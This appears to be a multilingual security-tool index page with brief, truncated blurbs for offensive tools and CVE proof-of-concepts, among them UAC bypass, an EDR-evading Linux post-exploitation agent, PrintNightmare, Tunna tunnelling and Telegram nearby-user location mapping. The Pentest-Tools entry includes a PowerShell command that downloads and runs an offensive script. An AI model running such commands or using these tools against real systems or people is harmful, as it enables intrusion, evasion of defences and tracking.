DLLHijackingScanner

Обход UAC - внедрение DLL Описание Это PoC для обхода UAC путем внедрения DLL и злоупотребления проверкой "Trusted Directories". Содержание Генерация заголовочного файла из CSV Аргументы Генерация списка уязвимых PE и DLL DLLHijacking.exe Файл журнала Выполнение Результат test.dll Источники...

RingReaper

RingReaper RingReaper 는 EDR 솔루션에 탐지될 가능성을 최소화하면서 은밀하게 작동해야 하는 사람들을 위해 설계된 Linux용 간단한 사후 침투post-exploitation 에이전트입니다. 이 프로젝트의 아이디어는 Linux 커널의 새로운 비동기 I/O 인터페이스인 iouring 을 활용하여 대부분의 EDR이 모니터링하거나 후킹하는 경향이 있는 전통적인 시스템 호출을 피하는 것이었습니다. 실제로 RingReaper는 read, write, recv, send, connect 등의 호출을 비동기 I/O...

XLMMacroDeobfuscator

XLMMacroDeobfuscator XLMMacroDeobfuscator может быть использован для декодирования обфусцированных XLM-макросов также известных как макросы Excel 4.0. Он использует встроенный эмулятор XLM для интерпретации макросов, не выполняя код полностью. Инструмент поддерживает форматы xls, xlsm и xlsb. Для...

Pentest-Tools-Collection

Pentest 도구 모음 Active Directory AMSI https://amsi.fail/ 도구 모음 WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack https://github.com/GhostPack...

cve-2023-34034

cve-2023-34034 Демонстрация обхода авторизации CVE-2023-34034 в Spring Security. См. CVE-2023-34034 обход авторизации Spring Security на Don't Panic!...

CVE-2020-9496

CVE-2020-9496 Настройка уязвимого окружения root@kitploit: ▶ wget http://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.01.zip ▶ unzip apache-ofbiz-17.12.01.zip ▶ cd apache-ofbiz-17.12.01 ▶ sh gradle/init-gradle-wrapper.sh ▶ ./gradlew cleanAll loadDefault ▶ ./gradlew "ofbiz --load-data...

gaia

Gaia - Обнаружение поверхности атаки и ИИ-ассистированная триаж Gaia — это инструмент анализа поверхности атаки с приоритетом CLI, который обнаруживает конечные точки и параметры, снижает шум и выделяет риски, важные для безопасности, используя статические эвристики и опционально ИИ-рассуждения. ...

intentshield

IntentShield Не фильтруйте то, что ваш ИИ говорит. Фильтруйте то, что он собирается сделать Проверка намерений до выполнения действий для ИИ-агентов. Зачем это существует ИИ-агенты имеют доступ к инструментам. Они могут выполнять shell-команды, записывать файлы, просматривать URL-адреса, отправля...

CVE-2023-34039

CVE-2023-34039 CVE-2023-34039 向け POC - VMWare Aria Operations for Networks vRealize Network Insight 静的 SSH キー RCE 技術的分析 この脆弱性の根本原因分析は、私のブログで公開しています: https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/ 概要 VMWare Aria Operations for Networks vRealize Network Insight バージョ...

lsawhisper-bof

LSA Whisperer BOF Порт Cobalt Strike Beacon Object File BOF инструмента LSA Whisperer — инструмента, который напрямую общается с пакетами аутентификации Windows через интерфейс доверенного/недоверенного клиента LSA, не затрагивая память процесса LSASS, даже если включены PPL и Credential Guard...

gpoParser

gpoParser gpoParser 는 Active Directory 환경에서 GPOGroup Policy Objects를 통해 적용된 구성을 추출하고 분석하도록 설계된 도구입니다. 이러한 설정을 열거하는 작업은 지루하고 시간이 많이 걸릴 수 있으므로, 이 도구는 적용된 정책에 대한 더 명확한 이해를 제공하고 측면 이동 또는 권한 상승으로 이어질 수 있는 위험한 구성을 식별하는 데 도움을 줍니다. 이 도구는 leHack 2025와 DEFCON 33에서 발표되었습니다. 설치 참고: gssapi 패키지에는 libkrb5-dev...

telegram-nearby-map

Telegram Nearby Map Telegram Nearby Map uses OpenStreetMap and the official Telegram library to find the position of nearby users. Please note: Telegram's API was updated a while ago to make nearby user distances less precise, preventing exact location calculations. Therefore, Telegram Nearby Map...

telegram-nearby-map

Telegram Nearby Map Telegram Nearby Map использует OpenStreetMap и официальную библиотеку Telegram для определения местоположения находящихся рядом пользователей. Обратите внимание: некоторое время назад API Telegram был обновлён, что сделало расстояния до пользователей менее точными, предотвраща...

Tunna

Tunna Tunna — это набор инструментов, которые оборачивают и туннелируют любую TCP-коммуникацию через HTTP. Он может использоваться для обхода сетевых ограничений в полностью брандмауэризованных средах. v1.1 Альфа-версия root@kitploit: | | | || | | | ' | ' \ / | | || || | | | | | | | | | || ,||...

CVE-2025-56815

CVE-2025-56815 Datart 1.0.0-rc.3 уязвим к обходу каталога в интерфейсе POST /viz/image, так как сервер напрямую использует MultipartFile.transferTo для сохранения загруженного файла в путь, контролируемый пользователем, и не выполняет строгую проверку имени файла. root@kitploit: POST...

CVE-2021-1675-PrintNightmare

CVE-2021-1675 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | June 1, 2021 CVE-2021-1675 - это критическая уязвимость удаленного выполнения кода и повышения локальных привилегий, получившая название "PrintNightmare". Эксплойты Proof-of-concept были опубликованы Python, C++ для...

printix-CVE-2022-25089

CVE-2022-25089 Полный кошмар системного администратора: пользователи изменяют реестр откуда угодно и где угодно без аутентификации. Изучить документацию » Посмотреть демо . Сообщить об ошибке . Предложить функцию Содержание О проекте Создано с помощью Начало работы Предварительные требования...

FollinaScanner

FollinaScanner Инструмент, написанный на Go, который сканирует файлы и каталоги на наличие эксплойта Follina CVE-2022-30190 Примечание: "Подозрительные файлы" означают файлы, содержащие URL, но не работающие Компиляция root@kitploit: git clone https://github.com/ErrorNoInternet/FollinaScanner cd...

CVE-2024-23897

Модификации от Anant Чтение файлов, таких как /etc/os-release, обрезало содержимое. Теперь это исправлено. Добавлена поддержка аутентифицированной сессии: укажите имя пользователя и пароль в качестве аргументов командной строки. root@kitploit: usage: jenkinsfileread.py -h -u URL -a USERAGENT -f...

modo

Modo Открытая AI-среда разработки, которая сначала планирует, а потом пишет код. Лицензия MIT · Быстрый старт · Что добавляет Modo · Участие Мне нужна была небольшая функция в AI-инструменте для кодирования. Не нашёл способа её предложить. И я спросил себя: насколько сложно на самом деле собрать...